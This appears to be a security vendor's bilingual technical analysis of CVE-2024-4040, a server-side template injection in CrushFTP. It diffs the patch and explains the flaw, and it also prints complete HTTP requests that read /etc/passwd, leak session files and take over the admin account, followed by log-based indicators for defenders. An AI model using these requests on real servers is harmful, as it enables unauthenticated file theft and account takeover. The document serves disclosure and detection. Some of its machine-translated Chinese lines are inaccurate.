CVE-2024-4040

Technical Analysis 技术分析

Overview 概述

On Friday, April 19, 2024, managed file transfer vendor CrushFTP released information to a private mailing list on a new zero-day vulnerability affecting CrushFTP versions below 10.7.1 and 11.1.0 (as well as legacy 9.x versions) across all platforms. No CVE was assigned by the vendor at time of disclosure, but a third-party CVE Numbering Authority (CNA) assigned CVE-2024-4040 as of Monday, April 22.
2024 年 4 月 19 日星期五,托管文件传输供应商 CrushFTP 向私人邮件列表发布了有关一个新的零日漏洞的信息,该漏洞影响所有平台上低于 10.7.1 和 11.1.0 的 CrushFTP 版本(以及旧版 9.x 版本)。在披露时,供应商未分配 CVE,但截至 4 月 22 日星期一,第三方 CVE 编号机构 (CNA) 分配了 CVE-2024-4040。

In the release notes for CrushFTP version 11.1.0 (the fixed version), CVE-2024-4040 was described as an issue with “authenticated sessions”.
在 CrushFTP 版本 11.1.0(修复版本)的发行说明中,CVE-2024-4040 被描述为“经过身份验证的会话”问题。

Rapid7’s analysis of this vulnerability found that CVE-2024-4040 is fully unauthenticated and easy to weaponize. Although the vulnerability has been called an arbitrary file read, we believe it best fits within the classification of server-side template injection (SSTI) (note: the vulnerability description has been updated to reflect SSTI as the root cause as of April 24). Unauthenticated HTTPS requests are performed to the CrushFTP web interface with SSTI payloads, resulting in arbitrary file read as root, authentication bypass for administrator account access, and theft of all files stored on the instance.
Rapid7 对此漏洞的分析发现,CVE-2024-4040 完全未经身份验证且易于武器化。尽管该漏洞被称为任意文件读取,但我们认为它最适合服务器端模板注入 (SSTI) 的分类(注意:截至 4 月 24 日,漏洞描述已更新,以反映 SSTI 的根本原因)。未经身份验证的 HTTPS 请求使用 SSTI 有效负载对 CrushFTP Web 界面执行,导致任意文件以 root 身份读取、管理员帐户访问的身份验证绕过以及存储在实例上的所有文件被盗。

Since CrushFTP in the default configuration uses reversible DES encryption for passwords, attackers can potentially recover all user passwords in plain text. Additionally, Rapid7 has confirmed that attackers can establish remote code execution with these primitives.
由于默认配置中的 CrushFTP 对密码使用可逆的 DES 加密,因此攻击者可能会以纯文本形式恢复所有用户密码。此外,Rapid7 已确认攻击者可以使用这些原语建立远程代码执行。

The vendor has indicated that the vulnerability has been exploited in the wild; as of April 24, CVE-2024-4040 has also been reported as exploited by CrowdStrike and has been added to CISA KEV. As of Tuesday, April 23, there appeared to be roughly 5,200+ instances of CrushFTP exposed to the public internet. Airbus CERT, who discovered the issue, released proof-of-concept code that triggers the vulnerability on April 23.
供应商表示该漏洞已被广泛利用;截至 4 月 24 日,CVE-2024-4040 也被报告为 CrowdStrike 利用,并已添加到 CISA KEV 中。截至 4 月 23 日星期二,似乎有大约 5,200+ 个 CrushFTP 实例暴露在公共互联网上。发现该问题的空中客车公司 CERT 于 4 月 23 日发布了触发该漏洞的概念验证代码。

Analysis 分析

Diffing the Patch 比较补丁

With the vulnerable and patched versions of CrushFTP in hand, we decompiled the application’s primary JAR file, CrushFTP.jar, using the CFR decompiler.
有了易受攻击的 CrushFTP 和补丁版本,我们使用 CFR 反编译器反编译了应用程序的主要 JAR 文件。 CrushFTP.jar

$ java -jar cfr-0.152.jar ./CrushFTP.jar --outputdir output/

Upon inspection, the file that handles most unauthenticated and authenticated API web traffic had been changed in the new version. That file, crushftp/server/ServerSessionAJAX.java, received a number of changes. One of those changes was a modification of the writeResponse function, which is responsible for building and sending HTTP responses for API requests. That change is shown below:
经检查,处理大多数未经身份验证和经过身份验证的 API Web 流量的文件已在新版本中更改。该文件 crushftp/server/ServerSessionAJAX.java ,收到了许多更改。其中一项更改是对 writeResponse 函数的修改,该函数负责构建和发送 API 请求的 HTTP 响应。该更改如下所示:

<         if (convertVars) {
<             response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
---
>         if (convertVars && this.thisSessionHTTP.thisSession != null) {
>             response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);

Immediately after writeResponse begins, the ServerStatus.change_vars_to_values function has been swapped out for the nicer sounding ServerStatus.change_user_safe_vars_to_values_static. What makes the patched version safe and the older approach unsafe? To figure that out, we’ll first need to make sure that the attack surface defined in this file is reachable without authentication.
开始后 writeResponse ,该 ServerStatus.change_vars_to_values 功能立即被换成更好的声音 ServerStatus.change_user_safe_vars_to_values_static 。是什么让修补版本安全而旧方法不安全?要弄清楚这一点,我们首先需要确保无需身份验证即可访问此文件中定义的攻击面。

Reaching ServerSessionAJAX
到达 ServerSessionAJAX

In order to interact with the API, we’ll need a no-privilege session as the anonymous user. Per CrushFTP security design, a session token for this pseudo-user role can be accessed by performing an unauthenticated request to any page with a /WebInterface prefix. In this case, we’ll grab a token off a 404 page for that endpoint.
为了与 API 交互,我们需要一个作为 anonymous 用户的无权限会话。根据 CrushFTP 安全设计,可以通过对任何带有 /WebInterface 前缀的页面执行未经身份验证的请求来访问此伪用户角色的会话令牌。在本例中,我们将从该终结点的 404 页面获取令牌。

GET /WebInterface/ HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

HTTP/1.1 404 Not Found
Set-Cookie: currentAuth=vndQ; path=/; secure; SameSite=None
Set-Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; path=/; secure; SameSite=None; HttpOnly
Content-Length: 38
Date: Mon, 22 Apr 2024 21:24:38 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close

The selected resource was not found.

As depicted above, a CrushAuth token is returned for the anonymous user. It should now be possible to reach the API that’s implemented by ServerSessionAJAX. We’ll confirm that by calling an API feature we don’t have permission to access: the zip function. If the anonymous token is working, we should receive an access denied message instead of “The selected resource was not found”.
如上所述,将为 anonymous 用户返回令 CrushAuth 牌。现在应该可以访问 实现 ServerSessionAJAX 的 API。我们将确认,通过调用我们无权访问的 API 功能:该 zip 函数。如果匿名令牌正常工作,我们应该收到拒绝访问的消息,而不是“未找到所选资源”。

POST /WebInterface/function/?c2f=vndQ&command=zip&path=aaa&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:31:58 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 200

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:aaa
</response></commandResult>

Perfect! We should be able to reach any unauthenticated functionality in ServerSessionAJAX with our newly minted anonymous token.
完善!我们应该能够使用新铸造的 anonymous 令牌访问 ServerSessionAJAX 任何未经身份验证的功能。

Variable Replacement 变量替换

With that out of the way, let’s keep looking at the API response code that was patched. As it turns out, this code path is responsible for the replacement of variables that are present in HTTPS responses, acting as a server-side templating engine. For example, when %hostname% is present in a response, this code will dynamically replace those filler entries with the appropriate variables and data. For this code path to be used, data in an API response must contain a template pattern for evaluation. The code comments below have been added for clarity.
说完这些,让我们继续查看已修补的 API 响应代码。事实证明,此代码路径负责替换 HTTPS 响应中存在的变量,充当服务器端模板引擎。例如,当响应中存在时 %hostname% ,此代码将动态地将这些填充条目替换为适当的变量和数据。若要使用此代码路径,API 响应中的数据必须包含用于评估的模板模式。为清楚起见,添加了下面的代码注释。

    public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
        try {
            if (in_str.indexOf(37) < 0 && in_str.indexOf(123) < 0 && in_str.indexOf(125) < 0 && in_str.indexOf(60) < 0) {
                return in_str;
            }
            String r1 = "%"; // Search for percent symbol delimiters, called r1 and r2
            String r2 = "%";
            while (r < 2) {
                String user_key2;
                String user_key;
                String key;
                int loc;
                String key2;
[..] // A large number of possible dynamic values, such as “hostname” and “heap_dump”, can be templated
                if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname);
                }
                if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, new Date().toString());
                }
                if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, ServerStatus.uSG(user_info, "user_number"));
                }
[..] // Though many options are possible, we’ll jump ahead to the most promising choices for exploitation
                if (in_str.indexOf(String.valueOf(r1) + "ban" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "ban" + r2, "");
                    thisObj.ban(user_info, 0, "msg variable");
                }
                if (in_str.indexOf(String.valueOf(r1) + "kick" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "kick" + r2, "");
                    thisObj.passive_kick(user_info);
                }
                if (in_str.indexOf("<SPACE>") >= 0) {
                    in_str = Common.space_encode(in_str);
                }
                if (in_str.indexOf("<FREESPACE>") >= 0) {
                    in_str = Common.free_space(in_str);
                }
                if (in_str.indexOf("<URL>") >= 0) {
                    in_str = Common.url_encoder(in_str);
                }
                if (in_str.indexOf("<REVERSE_IP>") >= 0) {
                    in_str = Common.reverse_ip(in_str);
                }
                if (in_str.indexOf("<SOUND>") >= 0) {
                    in_str = ServerStatus.thisObj.common_code.play_sound(in_str);
                }
                if (in_str.indexOf("<LIST>") >= 0) {
                    in_str = thisObj.get_dir_list(in_str, the_session);
                }
                if (in_str.indexOf("<INCLUDE>") >= 0) {
                    in_str = thisObj.do_include_file_command(in_str);
                }
                r1 = "{"; // In addition to percent signs, the application also searches for curly brackets
                r2 = "}";
                ++r;
            }

The vulnerability seems to be a server-side template injection! If the attacker can get their own data within %% or {} in API responses, it looks like the server will evaluate the injection and populate the attacker-provided template.
该漏洞似乎是服务器端模板注入!如果攻击者可以在 API 响应中 %% 或 {} 在 API 响应中获取自己的数据,则服务器似乎将评估注入并填充攻击者提供的模板。

We can test this hypothesis by repeating our attempt to call the zip API. This time, we’ll inject a {hostname} template injection string via one of the arguments that will be printed in the “access denied” message.
我们可以通过重复调用 zip API 的尝试来检验这个假设。这一次,我们将通过将在“访问被拒绝”消息中打印的参数之一注入 {hostname} 模板注入字符串。

POST /WebInterface/function/?c2f=vndQ&command=zip&path={hostname}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:39:59 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 210

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:ubuntu-x64-01
</response></commandResult>

Excellent! The template injection worked, and our payload was evaluated to ubuntu-x64-01 in the response body. With SSTI working unauthenticated, how can we leverage this for critical impact?
非常好!模板注入起作用了,我们的有效载荷 ubuntu-x64-01 在响应正文中进行了评估。由于 SSTI 未经身份验证即可工作,我们如何利用它来产生重大影响?

Arbitrary File Read 任意文件读取

Looking back at our possible template payloads, there are some special features that can be invoked with greater-than/less-than tag injections. For example, the <INCLUDE> tag will call the do_include_file_command function. This function is called if <INCLUDE> is present, and it takes the full API response data as its only argument.
回顾我们可能的模板有效负载,有一些特殊功能可以通过大于/小于标签注入来调用。例如,标记 <INCLUDE> 将调用该 do_include_file_command 函数。如果 <INCLUDE> 存在,则调用此函数,并将完整的 API 响应数据作为其唯一参数。

    public String do_include_file_command(String in_str) {
        try {
            String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));
            RandomAccessFile includer = new RandomAccessFile(new File_S(file_name), "r");
            byte[] temp_array = new byte[(int)includer.length()];
            includer.read(temp_array);
            includer.close();
            String include_data = String.valueOf(new String(temp_array)) + this.CRLF;
            return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data);
        }
        catch (Exception exception) {
            return in_str;
        }
    }

The templating engine searches for the pattern <INCLUDE>.*</INCLUDE>, extracting a file path from within the two tags. The contents of that file are then fetched and embedded within the response to be returned. This functionality seems likely to expose the arbitrary file read primitive advertised in the vendor advisory. Let’s give it a shot!
模板引擎搜索模式 <INCLUDE>.*</INCLUDE> ,从两个标签中提取文件路径。然后,获取该文件的内容并将其嵌入到要返回的响应中。此功能似乎可能会公开供应商公告中公布的任意文件读取基元。让我们试一试吧!

POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:56:44 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 3101

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:113:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:116::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:117:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:118::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
fwupd-refresh:x:120:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:122:129::/var/lib/saned:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:124:131::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false

</response></commandResult>

We’ve now established unauthenticated arbitrary file read as root.
现在,我们已建立以 root 身份读取的未经身份验证的任意文件。

Authentication Bypass 身份验证绕过

In CrushFTP, user session tokens are cached in a serialized object that sits in the root of the installation folder. To bypass authentication, we can read that file, spray all the session tokens within against the getUsername API, then perform malicious actions via live privileged tokens. We’ll use the {working_dir} template injection payload to leak the CrushFTP install directory, then leverage that to pull sessions.obj.
在 CrushFTP 中,用户会话令牌缓存在位于安装文件夹根目录中的序列化对象中。为了绕过身份验证,我们可以读取该文件,针对 getUsername API 喷洒其中的所有会话令牌,然后通过实时特权令牌执行恶意操作。我们将使用 {working_dir} 模板注入有效负载来泄漏 CrushFTP 安装目录,然后利用它来拉取 sessions.obj .

POST /WebInterface/function/?command=zip&c2f=vndQ&path={working_dir}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 22:24:46 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 241

<?xml version="1.0" encoding="UTF-8"?> 

<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:/home/researcher/CrushFTP/CrushFTP10/
</response></commandResult>

Now that we know the /home/researcher/CrushFTP/CrushFTP10 directory is the target’s install location, we can leak the serialized object to grab an admin user session.
现在我们知道该 /home/researcher/CrushFTP/CrushFTP10 目录是目标的安装位置,我们可以泄漏序列化对象以获取管理员用户会话。

POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

The serialized object is returned, including all currently live user sessions. With the administrator session cookie, we can gain access to all files and user credentials stored in the CrushFTP system.
返回序列化对象,包括所有当前活动的用户会话。使用管理员会话cookie,我们可以访问存储在CrushFTP系统中的所有文件和用户凭据。

CVE-2024-4040

We’ll locate and grab the session cookie from the exfiltrated file in the response.
我们将在响应中从泄露的文件中查找并获取会话 cookie。

CVE-2024-4040

A cURL request to a user API function confirms that we’ve acquired the administrator session cookie.
向用户 API 函数发出 cURL 请求,确认我们已获取管理员会话 Cookie。

$ curl 'https://crushftp/WebInterface/function/?command=getUsername&c2f=3dnZ' -H 'Cookie: CrushAuth=1713879298772_dZZeNbE2b7i6bAmGqqjXottYBG3dnZ; currentAuth=3dnZ' -k
<?xml version="1.0" encoding="UTF-8"?> 
<loginResult><response>success</response><username>crushadmin</username></loginResult>

Dropping that cookie into the browser successfully logs us into the admin web console.
将该 cookie 放入浏览器后,我们便成功登录到管理 Web 控制台。

CVE-2024-4040

IOCs 国际奥委会

Malicious requests to exploit the vulnerability can use seemingly any HTTPS method, and payloads can be delivered via request body parameters. The CrushFTP.log file and the log files in logs/session_logs/ will show the template injection taking place.
利用该漏洞的恶意请求似乎可以使用任何 HTTPS 方法,并且可以通过请求正文参数传递有效负载。 CrushFTP.log 文件和日志文件将 logs/session_logs/ 显示正在进行的模板注入。

ACCEPT|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
POST|04/22/2024 17:47:35.661|*
POST|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
SESSION|04/22/2024 17:47:35.661|*
SESSION|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:36.367|[21_56874:anonymous:127.0.0.1] *Disconnected:*

It’s worth noting that the zip API abuse and <INCLUDE> technique leveraged here can be swapped out for other endpoints and techniques. The presence of READ values containing {}<, or > in logs should be considered the primary indication that exploitation has occurred. It’s also possible that attackers could establish code execution and clean logs to evade detection.
值得注意的是,这里利用的 zip API 滥用和技术 <INCLUDE> 可以换成其他端点和技术。日志中存在包含 { 、 } 、 < 或 > 的 READ 值应被视为发生利用的主要迹象。攻击者也有可能建立代码执行并清理日志以逃避检测。

CrushFTP will also accept HTTPS requests that do not conform to RFC standards, which might be used by attackers to evade detection. Even if arbitrary strings are submitted in place of HTTPS verbs, the vulnerability can be exploited. The path can also be heavily modified while still achieving exploitation. Defenders should consider this behavior when implementing detections.
CrushFTP 还将接受不符合 RFC 标准的 HTTPS 请求,攻击者可能会利用这些请求来逃避检测。即使提交了任意字符串来代替 HTTPS 谓词,该漏洞也可能被利用。该路径也可以在实现利用的同时进行大量修改。防御者在实施检测时应考虑此行为。

CVE-2024-4040

This request will be logged in the CrushFTP.log file and within logs/session_logs/:
此请求将记录在 CrushFTP.log 文件中,并在以下内容中 logs/session_logs/ :

SESSION|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*

POST|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*

Requests with parameters in the request body seem to require a POST verb for exploitation to occur. However, the path can still be arbitrary data, and payloads included in these requests will be redacted with asterisks in logs.
请求正文中带有参数的请求似乎需要 POST 谓词才能进行利用。但是,路径仍可以是任意数据,并且这些请求中包含的有效负载将在日志中用星号进行编辑。

CVE-2024-4040

This request will be logged in the CrushFTP.log file and within logs/session_logs/ as shown below:
此请求将记录在 CrushFTP.log 文件中,如下 logs/session_logs/ 所示:

SESSION|04/23/2024 10:35:23.410|[HTTPS:84_56454:lookup:443] Accepting connection from: 127.0.0.1:56454
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *POST TEST/TESTWTESTebInterface/funTESTction/ HTTP/1.1*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *c2f:xIo4*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *path:********
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *names:/bbb*
SESSION|04/23/2024 10:35:23.412|[HTTPS:84_56454:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*

ACCEPT|04/23/2024 10:27:37.610|[HTTPS:84_47426:lookup:443] Accepting connection from: 127.0.0.1:47426
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *POST /TESTWTESTebInterface/funTESTction/ HTTP/1.1*
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *command:zip*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *c2f:xIo4*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *path:********
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *names:/bbb*
